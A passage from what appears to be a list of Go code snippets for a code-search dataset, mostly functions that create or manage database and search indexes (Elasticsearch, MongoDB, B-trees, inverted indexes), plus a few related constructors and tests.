json.NewDecoder(res.Body).Decode(&e); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn fmt.Errorf(\"[%s] %s: %s\", res.Status(), e[\"error\"].(map[string]interface{})[\"type\"], e[\"error\"].(map[string]interface{})[\"reason\"])\n\t}\n\treturn nil\n}","func NewIndexer(\n\tprojectRoot string,\n\trepositoryRoot string,\n\tmoduleName string,\n\tmoduleVersion string,\n\tdependencies map[string]string,\n\taddContents bool,\n\ttoolInfo protocol.ToolInfo,\n\tw io.Writer,\n) Indexer {\n\treturn &indexer{\n\t\tprojectRoot: projectRoot,\n\t\trepositoryRoot: repositoryRoot,\n\t\tmoduleName: moduleName,\n\t\tmoduleVersion: moduleVersion,\n\t\tdependencies: dependencies,\n\t\ttoolInfo: toolInfo,\n\t\tw: protocol.NewWriter(w, addContents),\n\n\t\t// Empty maps\n\t\tdefsIndexed: map[string]bool{},\n\t\tusesIndexed: map[string]bool{},\n\t\tranges: map[string]map[int]string{},\n\t\thoverResultCache: map[string]string{},\n\t\tfiles: map[string]*fileInfo{},\n\t\timports: map[token.Pos]*defInfo{},\n\t\tfuncs: map[string]*defInfo{},\n\t\tconsts: map[token.Pos]*defInfo{},\n\t\tvars: map[token.Pos]*defInfo{},\n\t\ttypes: map[string]*defInfo{},\n\t\tlabels: map[token.Pos]*defInfo{},\n\t\trefs: map[string]*refResultInfo{},\n\t\tpackageInformationIDs: map[string]string{},\n\t}\n}","func NewIndex(unique bool, columns []Column) *Index {\n\treturn &Index{\n\t\tbtree: btree.NewBTreeG[Doc](func(a, b Doc) bool {\n\t\t\treturn Order(a, b, columns, !unique) < 0\n\t\t}),\n\t}\n}","func CreateNewIndex(url string, alias string) (string, error) {\n\t// create our day-specific name\n\tphysicalIndex := fmt.Sprintf(\"%s_%s\", alias, time.Now().Format(\"2006_01_02\"))\n\tidx := 0\n\n\t// check if it exists\n\tfor true {\n\t\tresp, err := http.Get(fmt.Sprintf(\"%s/%s\", url, physicalIndex))\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\t// not found, great, move on\n\t\tif resp.StatusCode == http.StatusNotFound {\n\t\t\tbreak\n\t\t}\n\n\t\t// was found, increase our index and try again\n\t\tidx++\n\t\tphysicalIndex = fmt.Sprintf(\"%s_%s_%d\", alias, time.Now().Format(\"2006_01_02\"), idx)\n\t}\n\n\t// initialize our index\n\tcreateURL := fmt.Sprintf(\"%s/%s\", url, physicalIndex)\n\t_, err := MakeJSONRequest(http.MethodPut, createURL, indexSettings, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// all went well, return our physical index name\n\tlog.WithField(\"index\", physicalIndex).Info(\"created index\")\n\treturn physicalIndex, nil\n}","func CreateIndexer(root string, nbuckets, seqLen int) (*Indexer, error) {\n\tcfg, err := NewConfig(root, nbuckets, seqLen)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn IndexerFromConfig(cfg)\n}","func CreateIndexIfNotExists(e *elastic.Client, index string) error {\n\t// Use the IndexExists service to check if a specified index exists.\n\texists, err := e.IndexExists(index).Do(context.Background())\n\tif err != nil {\n\t\tlog.Printf(\"elastic: unable to check if Index exists - %s\\n\", err)\n\t\treturn err\n\t}\n\n\tif exists {\n\t\treturn nil\n\t}\n\n\t// Create a new index.\n\tv := reflect.TypeOf(Point{})\n\n\tmapping := MapStr{\n\t\t\"settings\": MapStr{\n\t\t\t\"number_of_shards\": 1,\n\t\t\t\"number_of_replicas\": 1,\n\t\t},\n\t\t\"mappings\": MapStr{\n\t\t\t\"doc\": MapStr{\n\t\t\t\t\"properties\": MapStr{},\n\t\t\t},\n\t\t},\n\t}\n\tfor i := 0; i < v.NumField(); i++ {\n\t\tfield := v.Field(i)\n\t\ttag := field.Tag.Get(\"elastic\")\n\t\tif len(tag) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\ttagfields := strings.Split(tag, \",\")\n\t\tmapping[\"mappings\"].(MapStr)[\"doc\"].(MapStr)[\"properties\"].(MapStr)[field.Name] = MapStr{}\n\t\tfor _, tagfield := range tagfields {\n\t\t\ttagfieldValues := strings.Split(tagfield, \":\")\n\t\t\tmapping[\"mappings\"].(MapStr)[\"doc\"].(MapStr)[\"properties\"].(MapStr)[field.Name].(MapStr)[tagfieldValues[0]] = tagfieldValues[1]\n\t\t}\n\t}\n\tmappingJSON, err := json.Marshal(mapping)\n\tif err != nil {\n\t\tlog.Printf(\"elastic: error on json marshal - %s\\n\", err)\n\t\treturn err\n\t}\n\n\t_, err = e.CreateIndex(index).BodyString(string(mappingJSON)).Do(context.Background())\n\tif err != nil {\n\t\tlog.Printf(\"elastic: error creating elastic index %s - %s\\n\", index, err)\n\t\treturn err\n\t}\n\tlog.Printf(\"elastic: index %s created\\n\", index)\n\treturn nil\n}","func NewCorpus(basis []string) *Corpus {\n\tw := make(map[string]bool)\n\tfor _, v := range basis {\n\t\tif _, ok := w[v]; !ok {\n\t\t\tw[v] = true\n\t\t}\n\t}\n\treturn &Corpus{\n\t\tSize: len(w),\n\t\twords: w,\n\t}\n}","func NewIndexed(filepath string) (*ListFile, error) {\n\tfile, err := os.OpenFile(filepath, os.O_CREATE|os.O_RDWR|os.O_APPEND, 0644)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error while OpenFile: %s\", err)\n\t}\n\n\tlf := &ListFile{\n\t\tfile: file,\n\t\tmu: &sync.RWMutex{},\n\t\t// Main index for the lines of the file:\n\t\tmainIndex: hashsearch.New(),\n\t\t// Allow to create custom indexes:\n\t\tsecondaryIndexes: make(map[string]*Index),\n\t}\n\n\terr = lf.loadExistingToMainIndex()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error while loadExistingToMainIndex: %s\", err)\n\t}\n\n\treturn lf, nil\n}","func NewIndex(texts []string, name string) *Index {\n\treturn &Index{texts: texts, name: name}\n}","func New(data []byte) *Index","func makeIndexBuilder(c Configuration) IndexBuilder {\n\tif c.BuildIndexStrategy == \"Concurrent\" {\n\t\treturn BuildIndexConcurrent{}\n\t}\n\tif c.BuildIndexStrategy == \"Iterative\" {\n\t\treturn BuildIndexWithWalk{}\n\t}\n\tfmt.Println(os.Stderr, \"Invalid configuration value for GOCATE_BUILD_INDEX_STRATEGY. Please set it to Concurrent or Iterative. Choosing Default.\")\n\treturn BuildIndexConcurrent{}\n}","func (db *Database) createTimestampIndex() {\n\tindexView := db.database.Collection(TRACKS.String()).Indexes()\n\n\tindexModel := mongo.IndexModel{\n\t\tKeys: bson.NewDocument(bson.EC.Int32(\"ts\", -1))}\n\n\t_, err := indexView.CreateOne(context.Background(), indexModel, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}","func New(ds datastore.TxnDatastore, api *apistruct.FullNodeStruct) (*Index, error) {\n\tcs := chainsync.New(api)\n\tstore, err := chainstore.New(txndstr.Wrap(ds, \"chainstore\"), cs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tinitMetrics()\n\tctx, cancel := context.WithCancel(context.Background())\n\ts := &Index{\n\t\tapi: api,\n\t\tstore: store,\n\t\tsignaler: signaler.New(),\n\t\tindex: IndexSnapshot{\n\t\t\tMiners: make(map[string]Slashes),\n\t\t},\n\t\tctx: ctx,\n\t\tcancel: cancel,\n\t\tfinished: make(chan struct{}),\n\t}\n\tif err := s.loadFromDS(); err != nil {\n\t\treturn nil, err\n\t}\n\tgo s.start()\n\treturn s, nil\n}","func NewTarget() Target {\n\treturn Target{Alias: \"$tag_host $tag_name\", DsType: \"influxdb\"}\n}","func buildRuleToGenerateIndex(ctx android.ModuleContext, desc string, classesJars android.Paths, indexCSV android.WritablePath) {\n\trule := android.NewRuleBuilder(pctx, ctx)\n\trule.Command().\n\t\tBuiltTool(\"merge_csv\").\n\t\tFlag(\"--zip_input\").\n\t\tFlag(\"--key_field signature\").\n\t\tFlagWithOutput(\"--output=\", indexCSV).\n\t\tInputs(classesJars)\n\trule.Build(desc, desc)\n}","func createNumericalIndexIfNotExists(ctx context.Context, iv mongo.IndexView, model mongo.IndexModel) error {\n\tc, err := iv.List(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = c.Close(ctx)\n\t}()\n\n\tmodelKeysBytes, err := bson.Marshal(model.Keys)\n\tif err != nil {\n\t\treturn err\n\t}\n\tmodelKeysDoc := bsoncore.Document(modelKeysBytes)\n\n\tfor c.Next(ctx) {\n\t\tkeyElem, err := c.Current.LookupErr(\"key\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tkeyElemDoc := keyElem.Document()\n\n\t\tfound, err := numericalIndexDocsEqual(modelKeysDoc, bsoncore.Document(keyElemDoc))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif found {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\t_, err = iv.CreateOne(ctx, model)\n\treturn err\n}","func BuildIndexInfo(\n\tctx sessionctx.Context,\n\tallTableColumns []*model.ColumnInfo,\n\tindexName model.CIStr,\n\tisPrimary bool,\n\tisUnique bool,\n\tisGlobal bool,\n\tindexPartSpecifications []*ast.IndexPartSpecification,\n\tindexOption *ast.IndexOption,\n\tstate model.SchemaState,\n) (*model.IndexInfo, error) {\n\tif err := checkTooLongIndex(indexName); err != nil {\n\t\treturn nil, errors.Trace(err)\n\t}\n\n\tidxColumns, mvIndex, err := buildIndexColumns(ctx, allTableColumns, indexPartSpecifications)\n\tif err != nil {\n\t\treturn nil, errors.Trace(err)\n\t}\n\n\t// Create index info.\n\tidxInfo := &model.IndexInfo{\n\t\tName: indexName,\n\t\tColumns: idxColumns,\n\t\tState: state,\n\t\tPrimary: isPrimary,\n\t\tUnique: isUnique,\n\t\tGlobal: isGlobal,\n\t\tMVIndex: mvIndex,\n\t}\n\n\tif indexOption != nil {\n\t\tidxInfo.Comment = indexOption.Comment\n\t\tif indexOption.Visibility == ast.IndexVisibilityInvisible {\n\t\t\tidxInfo.Invisible = true\n\t\t}\n\t\tif indexOption.Tp == model.IndexTypeInvalid {\n\t\t\t// Use btree as default index type.\n\t\t\tidxInfo.Tp = model.IndexTypeBtree\n\t\t} else {\n\t\t\tidxInfo.Tp = indexOption.Tp\n\t\t}\n\t} else {\n\t\t// Use btree as default index type.\n\t\tidxInfo.Tp = model.IndexTypeBtree\n\t}\n\n\treturn idxInfo, nil\n}","func (api *ElasticAPI) CreateSearchIndex(ctx context.Context, instanceID, dimension string) (int, error) {\n\t*api.NumberOfCalls++\n\n\tif api.InternalServerError {\n\t\treturn 0, errorInternalServer\n\t}\n\n\treturn 201, nil\n}","func (impl *Impl) ExtractIndexableWords() []string {\n\tw := make([]string, 0, 20)\n\tw = append(w, fmt.Sprintf(\"%d\", impl.Id))\n\tw = append(w, strings.ToLower(impl.LanguageName))\n\tw = append(w, SplitForIndexing(impl.ImportsBlock, true)...)\n\tw = append(w, SplitForIndexing(impl.CodeBlock, true)...)\n\tif len(impl.AuthorComment) >= 3 {\n\t\tw = append(w, SplitForIndexing(impl.AuthorComment, true)...)\n\t}\n\tif langExtras, ok := langsExtraKeywords[impl.LanguageName]; ok {\n\t\tw = append(w, langExtras...)\n\t}\n\t// Note: we don't index external URLs.\n\treturn w\n}","func NewIndex(docID, word string, count int64) *Index {\n\tindex := new(Index)\n\tindex.IndexID = uuid.NewV4().String()\n\tindex.DocID = docID\n\tindex.Word = word\n\tindex.Count = count\n\n\treturn index\n}","func (s *langsvr) newDocument(uri string, language string, version int, body Body) *Document {\n\tif d, exists := s.documents[uri]; exists {\n\t\tpanic(fmt.Errorf(\"Attempting to create a document that already exists. %+v\", d))\n\t}\n\td := &Document{}\n\td.uri = uri\n\td.path, _ = URItoPath(uri)\n\td.language = language\n\td.version = version\n\td.server = s\n\td.body = body\n\ts.documents[uri] = d\n\treturn d\n}","func CreatePackageIndexer() *PackageIndexer {\n\treturn &PackageIndexer{\n\t\tpacks: map[string]*Package{},\n\t\tmutex: &sync.Mutex{},\n\t}\n}","func createIndex(name string, paths []interface{}, wildcards []string) {\r\n\tf, err := os.Create(name)\r\n\tcheck(err)\r\n\tdefer f.Close()\r\n\tw := bufio.NewWriter(f)\r\n\tindexContents := []string{}\r\n\tfor _, path := range paths {\r\n\t\tp := path.(string)\r\n\t\tfilepath.Walk(p, walker(&indexContents, wildcards))\r\n\t}\r\n\tfor i := range indexContents {\r\n\t\ts := fmt.Sprintln(indexContents[i])\r\n\t\tbc, err := w.WriteString(s)\r\n\t\tcheck(err)\r\n\t\tif bc < len(s) {\r\n\t\t\tpanic(fmt.Sprintf(\"Couldn't write to %s\", name))\r\n\t\t}\r\n\t}\r\n\tw.Flush()\r\n\treturn\r\n}","func (ec *ElasticClient) Create(indexname string, indextype string, jsondata interface{}) (string, error) {\n\tctx := ec.ctx\n\tid := genHashedID(jsondata)\n\n\tdebuges(\"Debug:Printing body %s\\n\", jsondata)\n\tresult, err := ec.client.Index().\n\t\tIndex(string(indexname)).\n\t\tType(string(indextype)).\n\t\tId(id).\n\t\tBodyJson(jsondata).\n\t\tDo(ctx)\n\tif err != nil {\n\t\t// Handle error\n\t\tdebuges(\"Create document Error %#v\", err)\n\t\treturn id, err\n\t}\n\tdebuges(\"Debug:Indexed %s to index %s, type %s\\n\", result.Id, result.Index, result.Type)\n\t// Flush to make sure the documents got written.\n\t// Flush asks Elasticsearch to free memory from the index and\n\t// flush data to disk.\n\t_, err = ec.client.Flush().Index(string(indexname)).Do(ctx)\n\treturn id, err\n\n}","func (iv IndexView) CreateMany(ctx context.Context, models []IndexModel, opts ...*options.CreateIndexesOptions) ([]string, error) {\n\tnames := make([]string, 0, len(models))\n\n\tvar indexes bsoncore.Document\n\taidx, indexes := bsoncore.AppendArrayStart(indexes)\n\n\tfor i, model := range models {\n\t\tif model.Keys == nil {\n\t\t\treturn nil, fmt.Errorf(\"index model keys cannot be nil\")\n\t\t}\n\n\t\tif isUnorderedMap(model.Keys) {\n\t\t\treturn nil, ErrMapForOrderedArgument{\"keys\"}\n\t\t}\n\n\t\tkeys, err := marshal(model.Keys, iv.coll.bsonOpts, iv.coll.registry)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tname, err := getOrGenerateIndexName(keys, model)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tnames = append(names, name)\n\n\t\tvar iidx int32\n\t\tiidx, indexes = bsoncore.AppendDocumentElementStart(indexes, strconv.Itoa(i))\n\t\tindexes = bsoncore.AppendDocumentElement(indexes, \"key\", keys)\n\n\t\tif model.Options == nil {\n\t\t\tmodel.Options = options.Index()\n\t\t}\n\t\tmodel.Options.SetName(name)\n\n\t\toptsDoc, err := iv.createOptionsDoc(model.Options)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tindexes = bsoncore.AppendDocument(indexes, optsDoc)\n\n\t\tindexes, err = bsoncore.AppendDocumentEnd(indexes, iidx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tindexes, err := bsoncore.AppendArrayEnd(indexes, aidx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsess := sessionFromContext(ctx)\n\n\tif sess == nil && iv.coll.client.sessionPool != nil {\n\t\tsess = session.NewImplicitClientSession(iv.coll.client.sessionPool, iv.coll.client.id)\n\t\tdefer sess.EndSession()\n\t}\n\n\terr = iv.coll.client.validSession(sess)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\twc := iv.coll.writeConcern\n\tif sess.TransactionRunning() {\n\t\twc = nil\n\t}\n\tif !writeconcern.AckWrite(wc) {\n\t\tsess = nil\n\t}\n\n\tselector := makePinnedSelector(sess, iv.coll.writeSelector)\n\n\toption := options.MergeCreateIndexesOptions(opts...)\n\n\top := operation.NewCreateIndexes(indexes).\n\t\tSession(sess).WriteConcern(wc).ClusterClock(iv.coll.client.clock).\n\t\tDatabase(iv.coll.db.name).Collection(iv.coll.name).CommandMonitor(iv.coll.client.monitor).\n\t\tDeployment(iv.coll.client.deployment).ServerSelector(selector).ServerAPI(iv.coll.client.serverAPI).\n\t\tTimeout(iv.coll.client.timeout).MaxTime(option.MaxTime)\n\tif option.CommitQuorum != nil {\n\t\tcommitQuorum, err := marshalValue(option.CommitQuorum, iv.coll.bsonOpts, iv.coll.registry)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\top.CommitQuorum(commitQuorum)\n\t}\n\n\terr = op.Execute(ctx)\n\tif err != nil {\n\t\t_, err = processWriteError(err)\n\t\treturn nil, err\n\t}\n\n\treturn names, nil\n}","func SaveIndex(target string, source QueryList, verbose bool) {\n\tlogm(\"INFO\", fmt.Sprintf(\"saving index to %s...\", target), verbose)\n\tfile, err := os.Create(target)\n\tcheckResult(err)\n\tdefer file.Close()\n\n\tgr := gzip.NewWriter(file)\n\tdefer gr.Close()\n\n\tencoder := gob.NewEncoder(gr)\n\n\terr = encoder.Encode(source.Names)\n\tcheckResult(err)\n\tlogm(\"INFO\", fmt.Sprintf(\"%v sequence names saved\", len(source.Names)), verbose)\n\n\terr = encoder.Encode(source.SeedSize)\n\tcheckResult(err)\n\n\terr = encoder.Encode(source.Cgst)\n\tcheckResult(err)\n\n\t// save the index, but go has a size limit\n\tindexSize := len(source.Index)\n\terr = encoder.Encode(indexSize)\n\tcheckResult(err)\n\tlogm(\"INFO\", fmt.Sprintf(\"%v queries to save...\", indexSize), verbose)\n\n\tcount := 0\n\tfor key, value := range source.Index {\n\t\terr = encoder.Encode(key)\n\t\tcheckResult(err)\n\t\terr = encoder.Encode(value)\n\t\tcheckResult(err)\n\t\tcount++\n\t\tif count%10000 == 0 {\n\t\t\tlogm(\"INFO\", fmt.Sprintf(\"processing: saved %v items\", count), false)\n\t\t}\n\t}\n\n\tlogm(\"INFO\", fmt.Sprintf(\"saving index to %s: done\", target), verbose)\n}","func (db *MongoDbBridge) createIndexIfNotExists(col *mongo.Collection, view *mongo.IndexView, ix mongo.IndexModel, known []*mongo.IndexSpecification) error {\n\t// throw if index is not explicitly named\n\tif ix.Options.Name == nil {\n\t\treturn fmt.Errorf(\"index name not defined on %s\", col.Name())\n\t}\n\n\t// do we know the index?\n\tfor _, spec := range known {\n\t\tif spec.Name == *ix.Options.Name {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tcreatedName, err := view.CreateOne(context.Background(), ix)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to create index %s on %s\", *ix.Options.Name, col.Name())\n\t}\n\tdb.log.Noticef(\"created index %s on %s\", createdName, col.Name())\n\treturn nil\n}","func TestEnsureFullTextIndex(t *testing.T) {\n\tc := createClient(t, nil)\n\tdb := ensureDatabase(nil, c, \"index_test\", nil, t)\n\n\ttestOptions := []*driver.EnsureFullTextIndexOptions{\n\t\tnil,\n\t\t{MinLength: 2},\n\t\t{MinLength: 20},\n\t}\n\n\tfor i, options := range testOptions {\n\t\tcol := ensureCollection(nil, db, fmt.Sprintf(\"fulltext_index_test_%d\", i), nil, t)\n\n\t\tidx, created, err := col.EnsureFullTextIndex(nil, []string{\"name\"}, options)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"Failed to create new index: %s\", describe(err))\n\t\t}\n\t\tif !created {\n\t\t\tt.Error(\"Expected created to be true, got false\")\n\t\t}\n\t\tif idxType := idx.Type(); idxType != driver.FullTextIndex {\n\t\t\tt.Errorf(\"Expected FullTextIndex, found `%s`\", idxType)\n\t\t}\n\t\tif options != nil && idx.MinLength() != options.MinLength {\n\t\t\tt.Errorf(\"Expected %d, found `%d`\", options.MinLength, idx.MinLength())\n\t\t}\n\n\t\t// Index must exists now\n\t\tif found, err := col.IndexExists(nil, idx.Name()); err != nil {\n\t\t\tt.Fatalf(\"Failed to check index '%s' exists: %s\", idx.Name(), describe(err))\n\t\t} else if !found {\n\t\t\tt.Errorf(\"Index '%s' does not exist, expected it to exist\", idx.Name())\n\t\t}\n\n\t\t// Ensure again, created must be false now\n\t\t_, created, err = col.EnsureFullTextIndex(nil, []string{\"name\"}, options)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"Failed to re-create index: %s\", describe(err))\n\t\t}\n\t\tif created {\n\t\t\tt.Error(\"Expected created to be false, got true\")\n\t\t}\n\n\t\t// Remove index\n\t\tif err := idx.Remove(nil); err != nil {\n\t\t\tt.Fatalf(\"Failed to remove index '%s': %s\", idx.Name(), describe(err))\n\t\t}\n\n\t\t// Index must not exists now\n\t\tif found, err := col.IndexExists(nil, idx.Name()); err != nil {\n\t\t\tt.Fatalf(\"Failed to check index '%s' exists: %s\", idx.Name(), describe(err))\n\t\t} else if found {\n\t\t\tt.Errorf(\"Index '%s' does exist, expected it not to exist\", idx.Name())\n\t\t}\n\t}\n}","func (m *MongoDB) CreateIndex(name, key string, order int) (string, error) {\n\tcoll, ok := m.coll[name]\n\tif !ok {\n\t\treturn \"\", fmt.Errorf(\"not defined collection %s\", name)\n\t}\n\n\tasscending := 1\n\tif order == -1 {\n\t\tasscending = -1\n\t}\n\n\tmodel := mongo.IndexModel{\n\t\tKeys: bson.D{{Key: key, Value: asscending}},\n\t\t//Options: options.Index().SetBackground(true),\n\t}\n\n\topts := options.CreateIndexes().SetMaxTime(2 * time.Second)\n\n\treturn coll.Indexes().CreateOne(m.ctx, model, opts)\n}","func build_index(pss []Post, index, pre, next int, indexname string) {\n\n\tvar doc bytes.Buffer\n\tvar body, name string\n\tvar ips Indexposts\n\tvar tml *template.Template\n\tvar err error\n\tips.Conf = conf\n\tips.Posts = pss\n\tips.Slug = indexname\n\tif pre != 0 {\n\t\tips.PreviousF = true\n\t\tips.Previous = pre\n\t} else {\n\t\tips.PreviousF = false\n\t}\n\tif next > 0 {\n\t\tips.NextF = true\n\t\tips.Next = next\n\t} else if next == -1 {\n\t\tips.NextF = false\n\t} else {\n\t\tips.NextF = true\n\t\tips.Next = next\n\t}\n\tif next == 0 {\n\t\tips.NextLast = true\n\t}\n\n\tips.Links = conf.Links\n\tips.Logo = conf.Logo\n\tif indexname == \"index\" {\n\t\tips.Main = true\n\t} else {\n\t\tips.Main = false\n\t}\n\tips.Disqus = false\n\tif indexname == \"index\" {\n\t\ttml, err = template.ParseFiles(\"./templates/index.html\", \"./templates/base.html\")\n\t} else {\n\t\ttml, err = template.ParseFiles(\"./templates/cat-index.html\", \"./templates/base.html\")\n\t}\n\tif err != nil {\n\t\tfmt.Println(\"Error in parsing: \", err)\n\t}\n\terr = tml.ExecuteTemplate(&doc, \"base\", ips)\n\tif err != nil {\n\t\tfmt.Println(\"Error in executing the template: \", err)\n\t}\n\tbody = doc.String()\n\tif next == -1 {\n\t\tif indexname == \"index\" {\n\t\t\tname = fmt.Sprintf(\"./output/%s.html\", indexname)\n\t\t} else {\n\t\t\tname = fmt.Sprintf(\"./output/categories/%s.html\", indexname)\n\t\t}\n\t} else {\n\t\tif indexname == \"index\" {\n\t\t\tname = fmt.Sprintf(\"./output/%s-%d.html\", indexname, index)\n\t\t} else {\n\t\t\tname = fmt.Sprintf(\"./output/categories/%s-%d.html\", indexname, index)\n\t\t}\n\t}\n\tf, err := os.Create(name)\n\tdefer f.Close()\n\tn, err := io.WriteString(f, body)\n\n\tif err != nil {\n\t\tfmt.Println(\"Write error: \", n, err)\n\t}\n\t// For Sitemap\n\tsmap := Sitemap{Loc: conf.URL + name[9:], Lastmod: current_time.Format(\"2006-01-02\"), Priority: \"0.5\"}\n\tSDB[smap.Loc] = smap\n}","func NewDocument(class Class, tokens ...string) Document {\n\treturn Document{\n\t\tClass: class,\n\t\tTokens: tokens,\n\t}\n}","func NewInvertedIndex(\n\treader store.Input,\n\ttable invertedIndexStructure,\n) InvertedIndex {\n\treturn &invertedIndex{\n\t\treader: reader,\n\t\ttable: table,\n\t}\n}","func New(data []byte) *Index {}","func createIndexes(ts *Schema, ti *Info, idxs []schema.Index, store *stor.Stor) {\n\tif len(idxs) == 0 {\n\t\treturn\n\t}\n\tts.Indexes = slices.Clip(ts.Indexes) // copy on write\n\tnold := len(ts.Indexes)\n\tfor i := range idxs {\n\t\tix := &idxs[i]\n\t\tif ts.FindIndex(ix.Columns) != nil {\n\t\t\tpanic(\"duplicate index: \" +\n\t\t\t\tstr.Join(\"(,)\", ix.Columns) + \" in \" + ts.Table)\n\t\t}\n\t\tts.Indexes = append(ts.Indexes, *ix)\n\t}\n\tidxs = ts.SetupNewIndexes(nold)\n\tn := len(ti.Indexes)\n\tti.Indexes = slices.Clip(ti.Indexes) // copy on write\n\tfor i := range idxs {\n\t\tbt := btree.CreateBtree(store, &ts.Indexes[n+i].Ixspec)\n\t\tti.Indexes = append(ti.Indexes, index.OverlayFor(bt))\n\t}\n}","func (g *Generator) generateDDLsForCreateIndex(tableName string, desiredIndex Index, action string, statement string) ([]string, error) {\n\tddls := []string{}\n\n\tcurrentTable := findTableByName(g.currentTables, tableName)\n\tif currentTable == nil {\n\t\treturn nil, fmt.Errorf(\"%s is performed for inexistent table '%s': '%s'\", action, tableName, statement)\n\t}\n\n\tcurrentIndex := findIndexByName(currentTable.indexes, desiredIndex.name)\n\tif currentIndex == nil {\n\t\t// Index not found, add index.\n\t\tddls = append(ddls, statement)\n\t\tcurrentTable.indexes = append(currentTable.indexes, desiredIndex)\n\t} else {\n\t\t// Index found. If it's different, drop and add index.\n\t\tif !areSameIndexes(*currentIndex, desiredIndex) {\n\t\t\tddls = append(ddls, g.generateDropIndex(currentTable.name, currentIndex.name))\n\t\t\tddls = append(ddls, statement)\n\n\t\t\tnewIndexes := []Index{}\n\t\t\tfor _, currentIndex := range currentTable.indexes {\n\t\t\t\tif currentIndex.name == desiredIndex.name {\n\t\t\t\t\tnewIndexes = append(newIndexes, desiredIndex)\n\t\t\t\t} else {\n\t\t\t\t\tnewIndexes = append(newIndexes, currentIndex)\n\t\t\t\t}\n\t\t\t}\n\t\t\tcurrentTable.indexes = newIndexes // simulate index change. TODO: use []*Index in table and destructively modify it\n\t\t}\n\t}\n\n\t// Examine indexes in desiredTable to delete obsoleted indexes later\n\tdesiredTable := findTableByName(g.desiredTables, tableName)\n\tif desiredTable == nil {\n\t\treturn nil, fmt.Errorf(\"%s is performed before create table '%s': '%s'\", action, tableName, statement)\n\t}\n\tif containsString(convertIndexesToIndexNames(desiredTable.indexes), desiredIndex.name) {\n\t\treturn nil, fmt.Errorf(\"index '%s' is doubly created against table '%s': '%s'\", desiredIndex.name, tableName, statement)\n\t}\n\tdesiredTable.indexes = append(desiredTable.indexes, desiredIndex)\n\n\treturn ddls, nil\n}","func NewTargetLister(indexer cache.Indexer) TargetLister {\n\treturn &targetLister{indexer: indexer}\n}","func BuildTestDocument() *did.Document {\n\tdoc := &did.Document{}\n\n\tmainDID, _ := didlib.Parse(testDID)\n\n\tdoc.ID = *mainDID\n\tdoc.Context = did.DefaultDIDContextV1\n\tdoc.Controller = mainDID\n\n\t// Public Keys\n\tpk1 := did.DocPublicKey{}\n\tpk1ID := fmt.Sprintf(\"%v#keys-1\", testDID)\n\td1, _ := didlib.Parse(pk1ID)\n\tpk1.ID = d1\n\tpk1.Type = linkeddata.SuiteTypeSecp256k1Verification\n\tpk1.Controller = mainDID\n\thexKey := \"04f3df3cea421eac2a7f5dbd8e8d505470d42150334f512bd6383c7dc91bf8fa4d5458d498b4dcd05574c902fb4c233005b3f5f3ff3904b41be186ddbda600580b\"\n\tpk1.PublicKeyHex = utils.StrToPtr(hexKey)\n\n\tdoc.PublicKeys = []did.DocPublicKey{pk1}\n\n\t// Service endpoints\n\tep1 := did.DocService{}\n\tep1ID := fmt.Sprintf(\"%v#vcr\", testDID)\n\td2, _ := didlib.Parse(ep1ID)\n\tep1.ID = *d2\n\tep1.Type = \"CredentialRepositoryService\"\n\tep1.ServiceEndpoint = \"https://repository.example.com/service/8377464\"\n\tep1.ServiceEndpointURI = utils.StrToPtr(\"https://repository.example.com/service/8377464\")\n\n\tdoc.Services = []did.DocService{ep1}\n\n\t// Authentication\n\taw1 := did.DocAuthenicationWrapper{}\n\taw1ID := fmt.Sprintf(\"%v#keys-1\", testDID)\n\td3, _ := didlib.Parse(aw1ID)\n\taw1.ID = d3\n\taw1.IDOnly = true\n\n\taw2 := did.DocAuthenicationWrapper{}\n\taw2ID := fmt.Sprintf(\"%v#keys-2\", testDID)\n\td4, _ := didlib.Parse(aw2ID)\n\taw2.ID = d4\n\taw2.IDOnly = false\n\taw2.Type = linkeddata.SuiteTypeSecp256k1Verification\n\taw2.Controller = mainDID\n\thexKey2 := \"04debef3fcbef3f5659f9169bad80044b287139a401b5da2979e50b032560ed33927eab43338e9991f31185b3152735e98e0471b76f18897d764b4e4f8a7e8f61b\"\n\taw2.PublicKeyHex = utils.StrToPtr(hexKey2)\n\n\tdoc.Authentications = []did.DocAuthenicationWrapper{aw1, aw2}\n\n\treturn doc\n}","func NewIndexer(\n\tdb database.Database,\n\tlog logging.Logger,\n\tmetricsNamespace string,\n\tmetricsRegisterer prometheus.Registerer,\n\tallowIncompleteIndices bool,\n) (AddressTxsIndexer, error) {\n\ti := &indexer{\n\t\tdb: db,\n\t\tlog: log,\n\t}\n\t// initialize the indexer\n\tif err := checkIndexStatus(i.db, true, allowIncompleteIndices); err != nil {\n\t\treturn nil, err\n\t}\n\t// initialize the metrics\n\tif err := i.metrics.initialize(metricsNamespace, metricsRegisterer); err != nil {\n\t\treturn nil, err\n\t}\n\treturn i, nil\n}","func New(transport *transport.Transport) *Indices {\n\treturn &Indices{\n\n\t\ttransport: transport,\n\t}\n}","func NewTTExtractor(\n\tdatabase db.Writer,\n\tconf *cnf.VTEConf,\n\tcolgenFn colgen.AlignedColGenFn,\n\tstatusChan chan Status,\n\tstopChan <-chan os.Signal,\n) (*TTExtractor, error) 